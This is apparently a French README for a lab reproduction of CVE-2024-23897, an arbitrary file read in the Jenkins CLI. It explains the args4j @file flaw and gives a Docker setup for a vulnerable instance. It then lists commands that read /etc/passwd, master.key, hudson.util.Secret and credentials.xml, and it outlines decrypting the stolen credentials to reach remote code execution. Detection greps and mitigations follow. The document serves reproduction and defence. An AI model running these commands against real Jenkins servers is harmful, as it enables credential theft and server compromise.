
Reproduction de cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (CRITIQUE) — Activement exploitée dans la nature
CVE-2024-23897 est une vulnérabilité critique de lecture arbitraire de fichiers dans l'interface en ligne de commande (CLI) de Jenkins. Le CLI Jenkins utilise la bibliothèque args4j pour analyser les arguments des commandes. Cette bibliothèque développe le caractère @ suivi d'un chemin de fichier (@/path/to/file) en lisant le contenu de ce fichier et en l'injectant comme arguments. Un attaquant non authentifié peut exploiter ce comportement pour lire des fichiers arbitraires sur le système de fichiers du contrôleur Jenkins, sans nécessiter aucune authentification.
Combinée à l'extraction de credentials.xml, des secrets ou de master.key, cette vulnérabilité peut conduire à la compromission complète du serveur (RCE).
@ dans args4jLa bibliothèque args4j (utilisée par l'analyseur de commandes CLI de Jenkins) implémente une fonctionnalité de commodité : lorsqu'un argument commence par @, elle traite le reste de l'argument comme un chemin de fichier, lit le contenu du fichier et le divise en plusieurs arguments. Cela était destiné à permettre de passer de grandes listes d'arguments via des fichiers.
Exemple : java -jar jenkins-cli.jar who-am-i @/etc/passwd amènerait args4j à lire /etc/passwd et à utiliser son contenu comme arguments pour la commande who-am-i.
Étant donné que certaines commandes CLI (comme connect-node) renvoient ou incluent les valeurs des arguments dans les messages d'erreur ou les réponses, un attaquant peut observer le contenu des fichiers dans la réponse du CLI.
@/etc/passwd| Produit | Affectées | Corrigées |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (previous) | ≤ 2.414.2 | 2.414.3 |
Remarque : Toutes les versions de Jenkins antérieures aux correctifs listés ci-dessus sont vulnérables. La fonctionnalité CLI existe dans Jenkins depuis de nombreuses années, donc les versions plus anciennes sont également affectées même si elles ne sont pas listées explicitement.
Exécuter une instance Jenkins vulnérable avec Docker :
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Notez le mot de passe administrateur initial dans les journaux du conteneur.
Vérifier que le port CLI est ouvert :
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
Installer Python 3.8+ avec les dépendances requises :
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
Le contenu des fichiers apparaît dans la réponse du CLI ou dans la sortie d'erreur. Par exemple, la lecture de /etc/passwd renverrait les entrées du fichier de mots de passe du système.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
Avec master.key et hudson.util.Secret, vous pouvez déchiffrer les identifiants Jenkins à l'aide d'outils comme jenkins_decrypt.py ou du script decrypt.py des références CVE-2024-23897. Les identifiants déchiffrés (clés SSH, jetons API, clés de fournisseurs cloud) peuvent ensuite être utilisés pour obtenir une exécution de code à distance sur les nœuds connectés et les environnements cloud.
Recherchez dans les journaux d'accès ou les journaux d'audit CLI les arguments contenant @ suivi de chemins de fichiers :
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
Si l'application immédiate du correctif n'est pas possible, désactivez le port CLI en définissant l'option --webroot ou en bloquant le port 50000. Cependant, notez que le point de terminaison HTTP du CLI (/cli/) dans l'interface web peut toujours être exploitable, donc l'application du correctif est fortement recommandée.
Ce dépôt est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. L'exploitation non autorisée de cette vulnérabilité est illégale. Les auteurs ne sont pas responsables de toute mauvaise utilisation de ces informations. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.
| Action | Détails |
|---|
| Mettre à jour Jenkins | Mettre à niveau vers Jenkins 2.442+ ou LTS 2.426.3+ / 2.414.3+ |
| Désactiver le port CLI | Bloquer le port TCP 50000 au niveau du pare-feu s'il n'est pas nécessaire |
| Restreindre l'accès réseau | Limiter l'accès au port CLI Jenkins aux seuls réseaux de confiance |
| Activer l'authentification | S'assurer que Jenkins exige une authentification pour tout accès |
| Surveiller les journaux | Rechercher les commandes CLI avec des arguments @ dans les journaux d'accès |